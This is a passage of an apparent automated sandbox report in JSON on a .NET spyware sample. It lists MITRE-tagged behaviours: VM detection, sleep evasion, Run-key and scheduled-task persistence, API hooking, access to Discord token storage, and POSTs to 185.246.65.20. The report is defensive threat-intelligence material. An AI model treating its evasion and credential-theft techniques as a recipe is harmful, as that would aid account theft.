3d9d29b0f45ebf573ef99506d6bf85bb374a7fb138ba44520187851a89993ca2.bin\n Observed function get_username in 3d9d29b0f45ebf573ef99506d6bf85bb374a7fb138ba44520187851a89993ca2.bin","origin":"Static Parser","mitre_attack_id":"T1082","relevance":1,"id":"static-120","sources":[{"report_type":"sandbox","report_id":"63e7af82875f9b0b522d66f2"}]},{"level":"informative","category":"Environment Awareness","name":"Contains ability to query the machine version","description":"System.Diagnostics.FileVersionInfo::GetVersionInfo at ab9fea5cf163c99ff755bc8cfe8e1d14-600004c-ctor","origin":"Hybrid Analysis Technology","mitre_attack_id":"T1082","relevance":1,"id":"stream-3","sources":[{"report_type":"sandbox","report_id":"63e7af82875f9b0b522d66f2"}]},{"level":"informative","category":"Environment Awareness","name":"Contains ability to read software policies","description":"\".exe\" (Path: \"HKLM\\SOFTWARE\\POLICIES\\MICROSOFT\\WINDOWS\\SAFER\\CODEIDENTIFIERS\"; Key: \"TRANSPARENTENABLED\")","origin":"Registry Access","mitre_attack_id":"T1082","relevance":1,"id":"registry-78","sources":[{"report_type":"sandbox","report_id":"63e7af82875f9b0b522d66f2"}]},{"level":"informative","category":"Environment Awareness","name":"Contains ability to retrieve open application windows (API string)","description":"Observed api:\"GetWindowText\"[Source: 3d9d29b0f45ebf573ef99506d6bf85bb374a7fb138ba44520187851a89993ca2.bin]\n Observed api:\"GetForegroundWindow\"[Source: 3d9d29b0f45ebf573ef99506d6bf85bb374a7fb138ba44520187851a89993ca2.bin]","origin":"File/Memory","mitre_attack_id":"T1010","relevance":1,"id":"string-141","sources":[{"report_type":"sandbox","report_id":"63e7af82875f9b0b522d66f2"}]},{"level":"informative","category":"Environment Awareness","name":"Contains ability to retrieve the OS version (API string)","description":"Observed api string:\"GetVersionInfo \" [Source: 3d9d29b0f45ebf573ef99506d6bf85bb374a7fb138ba44520187851a89993ca2.bin]","origin":"File/Memory","mitre_attack_id":"T1082","relevance":1,"id":"string-171","sources":[{"report_type":"sandbox","report_id":"63e7af82875f9b0b522d66f2"}]},{"level":"informative","category":"Environment Awareness","name":"Queries volume information","description":"\".exe\" queries volume information of \"C:\\3d9d29b0f45ebf573ef99506d6bf85bb374a7fb138ba44520187851a89993ca2.exe\" at 00000000-00003676-0000010C-19851582","origin":"API Call","mitre_attack_id":"T1120","relevance":2,"id":"api-11","sources":[{"report_type":"sandbox","report_id":"63e7af82875f9b0b522d66f2"}]},{"level":"informative","category":"Environment Awareness","name":"Reads the active computer name","description":"\".exe\" (Path: \"HKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\COMPUTERNAME\\ACTIVECOMPUTERNAME\"; Key: \"COMPUTERNAME\")","origin":"Registry Access","mitre_attack_id":"T1012","relevance":5,"id":"registry-35","sources":[{"report_type":"sandbox","report_id":"63e7af82875f9b0b522d66f2"}]},{"level":"informative","category":"Environment Awareness","name":"Reads the cryptographic machine GUID","description":"\".exe\" (Path: \"HKLM\\SOFTWARE\\MICROSOFT\\CRYPTOGRAPHY\"; Key: \"MACHINEGUID\")","origin":"Registry Access","mitre_attack_id":"T1082","relevance":5,"id":"registry-1","sources":[{"report_type":"sandbox","report_id":"63e7af82875f9b0b522d66f2"}]},{"level":"informative","category":"General","name":"Calls an API typically used to create a directory","description":"\".exe\" called \"CreateDirectoryW\" with parameter %APPDATA%\\(UID: 00000000-00003676)","origin":"API Call","relevance":3,"id":"api-122","sources":[{"report_type":"sandbox","report_id":"63e7af82875f9b0b522d66f2"}]},{"level":"informative","category":"General","name":"Contacts server","description":"\"185.246.65.20:80\"","origin":"Network Traffic","mitre_attack_id":"T1071","relevance":1,"id":"network-1","sources":[{"report_type":"sandbox","report_id":"63e7af82875f9b0b522d66f2"}]},{"level":"informative","category":"General","name":"Contains ability to download files from the internet","description":"Observed function downloadfile in 3d9d29b0f45ebf573ef99506d6bf85bb374a7fb138ba44520187851a89993ca2.bin\n Observed function downloaddata in 3d9d29b0f45ebf573ef99506d6bf85bb374a7fb138ba44520187851a89993ca2.bin","origin":"Static Parser","mitre_attack_id":"T1105","relevance":1,"id":"static-99","sources":[{"report_type":"sandbox","report_id":"63e7af82875f9b0b522d66f2"}]},{"level":"informative","category":"General","name":"Contains ability to execute application","description":"Observed function set_useshellexecute in 3d9d29b0f45ebf573ef99506d6bf85bb374a7fb138ba44520187851a89993ca2.bin","origin":"Static Parser","mitre_attack_id":"T1106","relevance":1,"id":"static-108","sources":[{"report_type":"sandbox","report_id":"63e7af82875f9b0b522d66f2"}]},{"level":"informative","category":"General","name":"Contains ability to modify processes thread functionality (API string)","description":"Observed API string:\"SuspendThread\" [Source: 3d9d29b0f45ebf573ef99506d6bf85bb374a7fb138ba44520187851a89993ca2.bin]\n Observed API string:\"ResumeThread\" [Source: 3d9d29b0f45ebf573ef99506d6bf85bb374a7fb138ba44520187851a89993ca2.bin]\n Observed API string:\"OpenThread\" [Source: 3d9d29b0f45ebf573ef99506d6bf85bb374a7fb138ba44520187851a89993ca2.bin]","origin":"File/Memory","mitre_attack_id":"T1106","relevance":1,"id":"string-161","sources":[{"report_type":"sandbox","report_id":"63e7af82875f9b0b522d66f2"}]},{"level":"informative","category":"General","name":"Contains registry location strings","description":"\"Software\\Microsoft\\Windows\\CurrentVersion\\Run\"\n \"Software\\Microsoft\\Windows NT\\CurrentVersion\\Winlogon\"\n \"SOFTWARE\\Valve\\Steam\"\n \"Software\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\Run\"\n \"Software\\\\Microsoft\\\\Windows NT\\\\CurrentVersion\\\\Winlogon\"\n \"SOFTWARE\\\\Valve\\\\Steam\"\n \"Software\\\\\\\\\"\n \"SOFTWARE\\\\Microsoft\\\\Windows NT\\\\CurrentVersion\"\n \"SOFTWARE\\\\Microsoft\\\\NET Framework Setup\\\\NDP\\\\v4\\\\Full\\\\\"\n \"SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\"","origin":"File/Memory","mitre_attack_id":"T1012","relevance":1,"id":"string-120","sources":[{"report_type":"sandbox","report_id":"63e7af82875f9b0b522d66f2"}]},{"level":"informative","category":"General","name":"Creates mutants","description":"\"\\Sessions\\1\\BaseNamedObjects\\Local\\8f61e4e90384893535caeca934e87b6daa6de21c\"\n \"\\Sessions\\1\\BaseNamedObjects\\RasPbFile\"\n \"\\Sessions\\1\\BaseNamedObjects\\Local\\MidiMapper_modLongMessage_RefCnt\"\n \"Local\\8f61e4e90384893535caeca934e87b6daa6de21c\"\n \"Local\\MidiMapper_modLongMessage_RefCnt\"\n \"RasPbFile\"","origin":"Created Mutant","relevance":3,"id":"mutant-0","sources":[{"report_type":"sandbox","report_id":"63e7af82875f9b0b522d66f2"}]},{"level":"informative","category":"General","name":"GETs files from a webserver","description":"$25","origin":"Network Traffic","mitre_attack_id":"T1071.001","relevance":5,"id":"network-2","sources":[{"report_type":"sandbox","report_id":"63e7af82875f9b0b522d66f2"}]},{"level":"informative","category":"General","name":"Loads the .NET runtime environment","description":"\".exe\" loaded module \"%WINDIR%\\assembly\\NativeImages_v4.0.30319_32\\mscorlib\\36eaccfde177c2e7b93b8dbdde4e012a\\mscorlib.ni.dll\" at 66EF0000","origin":"Loaded Module","id":"module-3","sources":[{"report_type":"sandbox","report_id":"63e7af82875f9b0b522d66f2"}]},{"level":"informative","category":"General","name":"Overview of unique CLSIDs touched in registry","description":"$26","origin":"Registry Access","mitre_attack_id":"T1546.015","relevance":3,"id":"registry-72","sources":[{"report_type":"sandbox","report_id":"63e7af82875f9b0b522d66f2"}]},{"level":"informative","category":"General","name":"PE file contains executable sections","description":"\"3d9d29b0f45ebf573ef99506d6bf85bb374a7fb138ba44520187851a89993ca2.bin\" has an executable section named \".text\"","origin":"Static Parser","relevance":1,"id":"static-80","sources":[{"report_type":"sandbox","report_id":"63e7af82875f9b0b522d66f2"}]},{"level":"informative","category":"General","name":"PE file entrypoint instructions","description":"$27","origin":"Static Parser","relevance":1,"id":"static-96","sources":[{"report_type":"sandbox","report_id":"63e7af82875f9b0b522d66f2"}]},{"level":"informative","category":"Installation/Persistence","name":"Connects to LPC ports","description":"\".exe\" connecting to \"\\ThemeApiPort\"","origin":"API Call","relevance":1,"id":"api-16","sources":[{"report_type":"sandbox","report_id":"63e7af82875f9b0b522d66f2"}]},{"level":"informative","category":"Installation/Persistence","name":"Touches files in the Windows directory","description":"\".exe\" touched file \"%WINDIR%\\Microsoft.NET\\Framework\\v1.0.3705\\clr.dll\"\n \".exe\" touched file \"%WINDIR%\\Microsoft.NET\\Framework\\v2.0.50727\\clr.dll\"","origin":"API Call","relevance":7,"id":"api-55","sources":[{"report_type":"sandbox","report_id":"63e7af82875f9b0b522d66f2"}]},{"level":"informative","category":"Installation/Persistence","name":"Tries to access non-existent files","description":"$28","origin":"API Call","mitre_attack_id":"T1083","relevance":3,"id":"api-126","sources":[{"report_type":"sandbox","report_id":"63e7af82875f9b0b522d66f2"}]},{"level":"informative","category":"Network Related","name":"Contains ability to perform crypto operations","description":"Observed namespace system.security.cryptography in 3d9d29b0f45ebf573ef99506d6bf85bb374a7fb138ba44520187851a89993ca2.bin","origin":"Static Parser","mitre_attack_id":"T1027","relevance":1,"id":"static-118","sources":[{"report_type":"sandbox","report_id":"63e7af82875f9b0b522d66f2"}]},{"level":"informative","category":"Network Related","name":"Contains ability to provide interface for network protocols","description":"Observed namespace system.net in 3d9d29b0f45ebf573ef99506d6bf85bb374a7fb138ba44520187851a89993ca2.bin\n Observed namespace system.net.sockets in 3d9d29b0f45ebf573ef99506d6bf85bb374a7fb138ba44520187851a89993ca2.bin","origin":"Static Parser","mitre_attack_id":"T1071.001","relevance":1,"id":"static-110","sources":[{"report_type":"sandbox","report_id":"63e7af82875f9b0b522d66f2"}]},{"level":"informative","category":"Network Related","name":"HTTP request contains Base64 encoded artifacts","description":"\"=}x:yi;sNo\"\n \"u9^^w:s\\{g8n\"\n \"^{sMkWgizoWZ{}<\"\n \"H\\LEULP\"\n \"E60'\"\n \"q}niw\"\n \"TYDH\"\n \"^{sMkWgizoWZ{}<\"\n \"A LTYLd\"\n \"[|m\\{6s;\"\n \"W\"#B3#'ct!6wb60Cf#D3310cvAc103ps6\"\"%3wfu367ac!F6q6bF6bWf1#38662f%g6#T3w\"#032c%73v64 cb7ccGf8a3\"f%4fa3\"7!3G37Ac!U672fx66c3fVfp13Ucf%33vb64\"#r6s6uAfv!c5#f0Sc13cv3rq6b6f%U6b\", \"E60'\", \"q}niw\", \"TYDH\", \"^{sMkWgizoWZ{}<\", \"A LTYLd\", \"[qivG]\", \"W64gDJdwddd\nGf36%sWeVd$UU-6gN'60'V5tCI5F0cDUFtm6fvF\n$V5tCIv7$EFtWSdF53&g5rUifTF4fUtgEZ4Gf36%sWeVdfS#eSV55iuvTvs!gtfFf-$fVV(gTdFTF 6vV3!VulCI5F0cDUFtWSdD4EGyqV0fuTB5F.dSdWyqF76fEVdeVdv6gJ5565tCIv4fCeraVdv6dTvT8UETdR4gF8dEFd$ff*F5tCt2DfUsgUEvdvXWFfG&#B3#'ct!6wb60Cf#D3310cvAc103ps6\"\"%3wfu367ac!F6q6bF6bWf1#38662f%g6#T3w\"#032c%73v64 cb7ccGf8a3\"f%4fa3\"7!3G37Ac!U672fx66c3fVfp13Ucf%33vb64\"#r6s6uAfv!c5#f0Sc13cv3rq6b6f%U6b\", \"E60'\", \"q}niw\", \"TYDH\", \"^{sMkWgizoWZ{}<\", \"A LTYLd\", \"[|m\\{6s;\", \"AIICIMLXLU`YLMeYLIMMLHMALXUMLUXL LMPYXHLLMUM\", \"E60'\", \"q}niw\", \"TYDH\", \"^{sMkWgizoWZ{}<\", \"A LTYLd\"","origin":"Network Traffic","mitre_attack_id":"T1132.001","relevance":7,"id":"network-20","sources":[{"report_type":"sandbox","report_id":"63e7af82875f9b0b522d66f2"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Calls an API typically used for taking snapshot of the specified processes","description":"\".exe\" called \"CreateToolhelp32Snapshot\" (UID: 00000000-00003676)","origin":"API Call","mitre_attack_id":"T1057","relevance":3,"id":"api-103","sources":[{"report_type":"sandbox","report_id":"63e7af82875f9b0b522d66f2"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Calls an API's typically used for searching a directory for a files","description":"\".exe\" called \"FindFirstFileW\" (UID: 00000000-00003676)\n \".exe\" called \"FindNextFileW\" (UID: 00000000-00003676)","origin":"API Call","mitre_attack_id":"T1083","relevance":5,"id":"api-102","sources":[{"report_type":"sandbox","report_id":"63e7af82875f9b0b522d66f2"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to gather process details","description":"Observed function getprocessbyid in 3d9d29b0f45ebf573ef99506d6bf85bb374a7fb138ba44520187851a89993ca2.bin\n Observed function get_processname in 3d9d29b0f45ebf573ef99506d6bf85bb374a7fb138ba44520187851a89993ca2.bin","origin":"Static Parser","mitre_attack_id":"T1057","relevance":1,"id":"static-100","sources":[{"report_type":"sandbox","report_id":"63e7af82875f9b0b522d66f2"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Found Native API in Dotnet file","description":"$29","origin":"Static Parser","mitre_attack_id":"T1106","relevance":1,"id":"static-101","sources":[{"report_type":"sandbox","report_id":"63e7af82875f9b0b522d66f2"}]},{"level":"informative","category":"System Security","name":"Creates or modifies windows services","description":"\".exe\" (Access type: \"CREATE\"; Path: \"HKLM\\SYSTEM\\CONTROLSET001\\SERVICES\\TCPIP\\PARAMETERS\")","origin":"Registry Access","mitre_attack_id":"T1543.003","relevance":10,"id":"registry-67","sources":[{"report_type":"sandbox","report_id":"63e7af82875f9b0b522d66f2"}]},{"level":"informative","category":"System Security","name":"Opens the Kernel Security Device Driver (KsecDD) of Windows","description":"\".exe\" opened \"\\Device\\KsecDD\"","origin":"API Call","relevance":10,"id":"api-37","sources":[{"report_type":"sandbox","report_id":"63e7af82875f9b0b522d66f2"}]},{"level":"informative","category":"Unusual Characteristics","name":"Contains ability to decompress content at runtime","description":"Observed function system.io.compression.gzipstream in 3d9d29b0f45ebf573ef99506d6bf85bb374a7fb138ba44520187851a89993ca2.bin","origin":"Static Parser","mitre_attack_id":"T1027","relevance":1,"id":"static-116","sources":[{"report_type":"sandbox","report_id":"63e7af82875f9b0b522d66f2"}]},{"level":"informative","category":"Unusual Characteristics","name":"Matched Compiler/Packer signature","description":"\"3d9d29b0f45ebf573ef99506d6bf85bb374a7fb138ba44520187851a89993ca2.bin\" was detected as \"Microsoft visual C# v7.0 / Basic .NET\"","origin":"Static Parser","mitre_attack_id":"T1027.002","relevance":10,"id":"static-18","sources":[{"report_type":"sandbox","report_id":"63e7af82875f9b0b522d66f2"}]},{"level":"informative","category":"Unusual Characteristics","name":"Reads information about supported languages","description":"$2a","origin":"Registry Access","mitre_attack_id":"T1012","relevance":3,"id":"registry-25","sources":[{"report_type":"sandbox","report_id":"63e7af82875f9b0b522d66f2"}]},{"level":"suspicious","category":"Anti-Reverse Engineering","name":"Creates guarded memory regions (anti-debugging trick to avoid memory dumping)","description":"\".exe\" is allocating memory with PAGE_GUARD access rights","origin":"API Call","mitre_attack_id":"T1622","relevance":10,"id":"api-1","sources":[{"report_type":"sandbox","report_id":"63e7af82875f9b0b522d66f2"}]},{"level":"suspicious","category":"Cryptographic Related","name":"Found a cryptographic related string","description":"\"PaddingMode\" (Indicator: \"paddingmode\"; File: \"3d9d29b0f45ebf573ef99506d6bf85bb374a7fb138ba44520187851a89993ca2.bin\")\n \"FromBase64String\" (Indicator: \"frombase64string\"; File: \"3d9d29b0f45ebf573ef99506d6bf85bb374a7fb138ba44520187851a89993ca2.bin\")\n \"System.Security.Cryptography\" (Indicator: \"system.security.cryptography\"; File: \"3d9d29b0f45ebf573ef99506d6bf85bb374a7fb138ba44520187851a89993ca2.bin\")\n \"DES\" (Indicator: \"des\"; File: \"60004a9-12s~696\")\n \"3DES-168\" (Indicator: \"3des-168\"; File: \"60004a9-12s~696\")\n \"3DES-112\" (Indicator: \"3des-112\"; File: \"60004a9-12s~696\")\n \"Blowfish\" (Indicator: \"blowfish\"; File: \"60004a9-12s~696\")\n \"RC4\" (Indicator: \"rc4\"; File: \"60004a9-12s~696\")\n \"Twofish\" (Indicator: \"twofish\"; File: \"60004a9-12s~696\")\n \"Aes\" (Indicator: \"aes\"; File: \"00000000-00003676.00000003.76713.000B2000.00000020.mdmp\")\n \"Cast\" (Indicator: \"cast\"; File: \"00000000-00003676.00000003.76713.000B2000.00000020.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1027","relevance":3,"id":"string-57","sources":[{"report_type":"sandbox","report_id":"63e7af82875f9b0b522d66f2"}]},{"level":"suspicious","category":"Environment Awareness","name":"Found a reference to a WMI query string known to be used for VM detection","description":"\"SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')\" (Indicator: \"win32_pnpentity\"; File: \"3d9d29b0f45ebf573ef99506d6bf85bb374a7fb138ba44520187851a89993ca2.bin\")\n \"Win32_Process\" (Indicator: \"win32_process\"; File: \"3d9d29b0f45ebf573ef99506d6bf85bb374a7fb138ba44520187851a89993ca2.bin\")\n \"Win32_ProcessStartup\" (Indicator: \"win32_process\"; File: \"3d9d29b0f45ebf573ef99506d6bf85bb374a7fb138ba44520187851a89993ca2.bin\")\n \"* FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')\" (Indicator: \"win32_pnpentity\"; File: \"00000000-00003676.00000003.76713.000B2000.00000020.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1047","relevance":10,"id":"string-55","sources":[{"report_type":"sandbox","report_id":"63e7af82875f9b0b522d66f2"}]},{"level":"suspicious","category":"Environment Awareness","name":"Possibly tries to evade analysis by sleeping many times","description":"\".exe\" (Thread ID: 3296) slept \"520\" times (threshold: 500)","origin":"API Call","mitre_attack_id":"T1497.003","relevance":10,"id":"api-47","sources":[{"report_type":"sandbox","report_id":"63e7af82875f9b0b522d66f2"}]},{"level":"suspicious","category":"External Systems","name":"Sample was identified as malicious by at least one Antivirus engine","description":"7/22 Antivirus vendors marked sample as malicious (31% detection rate)\n 52/70 Antivirus vendors marked sample as malicious (74% detection rate)","origin":"External System","id":"avtest-0","sources":[{"report_type":"sandbox","report_id":"63e7af82875f9b0b522d66f2"}]},{"level":"suspicious","category":"General","name":"POSTs files to a webserver","description":"$2b","origin":"Network Traffic","mitre_attack_id":"T1071.001","relevance":5,"id":"network-4","sources":[{"report_type":"sandbox","report_id":"63e7af82875f9b0b522d66f2"}]},{"level":"suspicious","category":"Installation/Persistence","name":"Contains scheduled task creation strings","description":"\"schtasks.exe /create /tn \"\" (Indicator: \"schtasks.exe /create\"), \"schtasks.exe /create /tn \\\"\" (Indicator: \"schtasks.exe /create\")","origin":"File/Memory","mitre_attack_id":"T1053.005","relevance":5,"id":"string-128","sources":[{"report_type":"sandbox","report_id":"63e7af82875f9b0b522d66f2"}]},{"level":"suspicious","category":"Installation/Persistence","name":"Found registry location strings which can modifies auto-execute functionality","description":"Observed string:\"software\\microsoft\\windows\\currentversion\\run\" [Source: 3d9d29b0f45ebf573ef99506d6bf85bb374a7fb138ba44520187851a89993ca2.bin]","origin":"File/Memory","mitre_attack_id":"T1547.001","relevance":5,"id":"string-184","sources":[{"report_type":"sandbox","report_id":"63e7af82875f9b0b522d66f2"}]},{"level":"suspicious","category":"Installation/Persistence","name":"Monitors specific registry key for changes","description":"\".exe\" monitors \"\\REGISTRY\\MACHINE\\SOFTWARE\\Microsoft\\Tracing\\RASAPI32\" (Filter: 14; Subtree: 0)\n \".exe\" monitors \"\\REGISTRY\\MACHINE\\SOFTWARE\\Microsoft\\Tracing\\RASMANCS\" (Filter: 14; Subtree: 0)\n \".exe\" monitors \"HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Internet Settings\\Connections\" (Filter: 4; Subtree: 1)\n \".exe\" monitors \"\\REGISTRY\\MACHINE\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Internet Settings\\Connections\" (Filter: 4; Subtree: 1)\n \".exe\" monitors \"\\REGISTRY\\MACHINE\\SOFTWARE\\Policies\\Microsoft\\Windows\\CurrentVersion\\Internet Settings\" (Filter: 4; Subtree: 1)\n \".exe\" monitors \"\\REGISTRY\\MACHINE\\SYSTEM\\ControlSet001\\services\\WinSock2\\Parameters\\Protocol_Catalog9\" (Filter: 1; Subtree: 0)\n \".exe\" monitors \"\\REGISTRY\\MACHINE\\SYSTEM\\ControlSet001\\services\\WinSock2\\Parameters\\NameSpace_Catalog5\" (Filter: 1; Subtree: 0)","origin":"API Call","mitre_attack_id":"T1012","relevance":4,"id":"api-12","sources":[{"report_type":"sandbox","report_id":"63e7af82875f9b0b522d66f2"}]},{"level":"suspicious","category":"Network Related","name":"Found potential IP address in binary/memory","description":"\"185.246.65.20\"\n \"127.0.0.1\"","origin":"File/Memory","relevance":3,"id":"string-14","sources":[{"report_type":"sandbox","report_id":"63e7af82875f9b0b522d66f2"}]},{"level":"suspicious","category":"Network Related","name":"Sends traffic on typical HTTP outbound port, but without HTTP header","description":"TCP traffic to 185.246.65.20 on port 80 is sent without HTTP header","origin":"Network Traffic","mitre_attack_id":"T1071","relevance":5,"id":"network-23","sources":[{"report_type":"sandbox","report_id":"63e7af82875f9b0b522d66f2"}]},{"level":"suspicious","category":"Network Related","name":"Uses a User Agent typical for browsers, although no browser was ever launched","description":"Found user agent(s): Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:94.0) Gecko/20100101 Firefox/94.0","origin":"Network Traffic","relevance":10,"id":"network-22","sources":[{"report_type":"sandbox","report_id":"63e7af82875f9b0b522d66f2"}]},{"level":"suspicious","category":"Spyware/Information Retrieval","name":"Found browsers sensitive information related strings","description":"\"\\discord\\Local Storage\\leveldb\\\" in Source: 3d9d29b0f45ebf573ef99506d6bf85bb374a7fb138ba44520187851a89993ca2.bin\n \"scord\\Local Storage\\leveldb\\\" in Source: 00000000-00003676.00000003.76713.000B2000.00000020.mdmp","origin":"File/Memory","mitre_attack_id":"T1005","relevance":3,"id":"string-133","sources":[{"report_type":"sandbox","report_id":"63e7af82875f9b0b522d66f2"}]},{"level":"suspicious","category":"Spyware/Information Retrieval","name":"Found desktop apps credentials related location strings","description":"\"\\discord\\Local Storage\\leveldb\\\" (Indicator: \"discord\\local storage\\\") in Source: 3d9d29b0f45ebf573ef99506d6bf85bb374a7fb138ba44520187851a89993ca2.bin","origin":"File/Memory","mitre_attack_id":"T1005","relevance":5,"id":"string-95","sources":[{"report_type":"sandbox","report_id":"63e7af82875f9b0b522d66f2"}]},{"level":"suspicious","category":"Spyware/Information Retrieval","name":"Read windows product name from registry","description":"\".exe\" (Access type: \"QUERYVAL\"; Path: \"HKLM\\SOFTWARE\\MICROSOFT\\WINDOWS NT\\CURRENTVERSION\"; Key: \"PRODUCTNAME\")","origin":"Registry Access","mitre_attack_id":"T1012","relevance":5,"id":"registry-105","sources":[{"report_type":"sandbox","report_id":"63e7af82875f9b0b522d66f2"}]},{"level":"suspicious","category":"Spyware/Information Retrieval","name":"Tries to access browsers sensitive information (file access)","description":"\".exe\" trying to open a file \"%APPDATA%\\DISCORD\\LOCAL STORAGE\\LEVELDB\"\n \".exe\" trying to open a file \"%APPDATA%\\DISCORD\\LOCAL STORAGE\\LEVELDB\"","origin":"API Call","mitre_attack_id":"T1005","relevance":5,"id":"api-132","sources":[{"report_type":"sandbox","report_id":"63e7af82875f9b0b522d66f2"}]},{"level":"suspicious","category":"System Destruction","name":"Opens file with deletion access rights","description":"\".exe\" opened \"C:\\wdmaud.drv\" with delete access","origin":"API Call","mitre_attack_id":"T1070.004","relevance":7,"id":"api-25","sources":[{"report_type":"sandbox","report_id":"63e7af82875f9b0b522d66f2"}]},{"level":"suspicious","category":"System Security","name":"Adjusts debug privileges","description":"\".exe\" adjusted SE_DEBUG_PRIVILEGE","origin":"API Call","relevance":3,"id":"api-28","sources":[{"report_type":"sandbox","report_id":"63e7af82875f9b0b522d66f2"}]},{"level":"suspicious","category":"System Security","name":"Calls an API typically used to enable or disable privileges in the specified access token","description":"\".exe\" called an API \"AdjustTokenPrivileges\"","origin":"API Call","mitre_attack_id":"T1134","relevance":5,"id":"api-111","sources":[{"report_type":"sandbox","report_id":"63e7af82875f9b0b522d66f2"}]},{"level":"suspicious","category":"System Security","name":"Hooks API calls","description":"\"ShellExecuteW@SHELL32.DLL\" in \".exe\"\n \"GetIpNetTable@IPHLPAPI.DLL\" in \".exe\"\n \"GetKeyState@USER32.DLL\" in \".exe\"\n \"GetAsyncKeyState@USER32.DLL\" in \".exe\"\n \"GetAdaptersInfo@IPHLPAPI.DLL\" in \".exe\"\n \"CreateCompatibleBitmap@GDI32.DLL\" in \".exe\"\n \"GetWindowTextA@USER32.DLL\" in \".exe\"\n \"EnumWindows@USER32.DLL\" in \".exe\"\n \"GetForegroundWindow@USER32.DLL\" in \".exe\"\n \"GetWindowTextW@USER32.DLL\" in \".exe\"\n \"GetActiveWindow@USER32.DLL\" in \".exe\"\n \"ShellExecuteA@SHELL32.DLL\" in \".exe\"","origin":"Hook Detection","mitre_attack_id":"T1056.004","relevance":10,"id":"hooks-0","sources":[{"report_type":"sandbox","report_id":"63e7af82875f9b0b522d66f2"}]},{"level":"suspicious","category":"Unusual Characteristics","name":"Input file contains API references not part of its Import Address Table (IAT)","description":"$2c","origin":"File/Memory","relevance":10,"id":"string-64","sources":[{"report_type":"sandbox","report_id":"63e7af82875f9b0b522d66f2"}]},{"level":"suspicious","category":"Unusual Characteristics","name":"Installs hooks/patches the running process","description":"$2d","origin":"Hook Detection","mitre_attack_id":"T1056.004","relevance":10,"id":"hooks-8","sources":[{"report_type":"sandbox","report_id":"63e7af82875f9b0b522d66f2"}]},{"level":"suspicious","category":"Unusual Characteristics","name":"Reads the windows installation language","description":"\".exe\" (Path: \"HKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\NLS\\LANGUAGE GROUPS\"; Key: \"1\")","origin":"Registry Access","mitre_attack_id":"T1614.001","relevance":5,"id":"registry-26","sources":[{"report_type":"sandbox","report_id":"63e7af82875f9b0b522d66f2"}]},{"level":"malicious","category":"Anti-Detection/Stealthyness","name":"Modifies file/console tracing settings (often used to hide footprints on system)","description":"\".exe\" (Path: \"HKLM\\SOFTWARE\\MICROSOFT\\TRACING\\RASAPI32\"; Key: \"ENABLEFILETRACING\"; Value: \"00000000\")\n \".exe\" (Path: \"HKLM\\SOFTWARE\\MICROSOFT\\TRACING\\RASAPI32\"; Key: \"CONSOLETRACINGMASK\"; Value: \"0000FFFF\")\n \".exe\" (Path: \"HKLM\\SOFTWARE\\MICROSOFT\\TRACING\\RASAPI32\"; Key: \"FILETRACINGMASK\"; Value: \"0000FFFF\")\n \".exe\" (Path: \"HKLM\\SOFTWARE\\MICROSOFT\\TRACING\\RASAPI32\"; Key: \"ENABLECONSOLETRACING\"; Value: \"00000000\")","origin":"Registry Access","mitre_attack_id":"T1112","relevance":5,"id":"registry-30","sources":[{"report_type":"sandbox","report_id":"63e7af82875f9b0b522d66f2"}]},{"level":"malicious","category":"External Systems","name":"Sample detected by CrowdStrike Static Analysis and ML with relatively high confidence","description":"CrowdStrike Static Analysis and ML (QuickScan) yielded detection: win/malicious_confidence_100% (W)","origin":"External System","relevance":10,"id":"avtest-8","sources":[{"report_type":"sandbox","report_id":"63e7af82875f9b0b522d66f2"}]},{"level":"malicious","category":"External Systems","name":"Sample was identified as malicious by a large number of Antivirus engines","description":"52/70 Antivirus vendors marked sample as malicious (74% detection rate)","origin":"External System","relevance":10,"id":"avtest-3","sources":[{"report_type":"sandbox","report_id":"63e7af82875f9b0b522d66f2"}]},{"level":"malicious","category":"External Systems","name":"Sample was identified as malicious by a trusted Antivirus engine","description":"No specific details available","origin":"External System","relevance":10,"id":"avtest-5","sources":[{"report_type":"sandbox","report_id":"63e7af82875f9b0b522d66f2"}]},{"level":"malicious","category":"Network Related","name":"Found more than one unique User-Agent","description":"Found the following User-Agents: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:94.0) Gecko/20100101 Firefox/94.0\n Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36 Edg/96.0.1054.29","origin":"Network Traffic","relevance":5,"id":"network-15","sources":[{"report_type":"sandbox","report_id":"63e7af82875f9b0b522d66f2"}]},{"level":"malicious","category":"Network Related","name":"Upload file using POST request","description":"$2e","origin":"Network Traffic","mitre_attack_id":"T1082","relevance":10,"id":"network-58","sources":[{"report_type":"sandbox","report_id":"63e7af82875f9b0b522d66f2"}]},{"level":"malicious","category":"Pattern Matching","name":"YARA signature match","description":"$2f","origin":"YARA Signature","relevance":10,"id":"yara-0","sources":[{"report_type":"sandbox","report_id":"63e7af82875f9b0b522d66f2"}]},{"level":"malicious","category":"Spyware/Information Retrieval","name":"Tries to steal desktop applications information (file access)","description":"\".exe\" trying to touch file \"%APPDATA%\\DISCORD\\LOCAL STORAGE\\LEVELDB\"\n \".exe\" trying to touch file \"%APPDATA%\\DISCORD\\LOCAL STORAGE\\LEVELDB\"","origin":"API Call","mitre_attack_id":"T1005","relevance":10,"id":"api-97","sources":[{"report_type":"sandbox","report_id":"63e7af82875f9b0b522d66f2"}]}],"incidents":[{"name":"Spyware","details_count":4,"details":[{"detail":"Hooks API calls"},{"detail":"POSTs files to a webserver"},{"detail":"Tries to steal desktop applications information (file access)"},{"detail":"Found desktop apps credentials related location strings"}],"sources":[{"report_type":"sandbox","report_id":"63e7af82875f9b0b522d66f2"}]},{"name":"Persistence","details_count":1,"details":[{"detail":"Installs hooks/patches the running 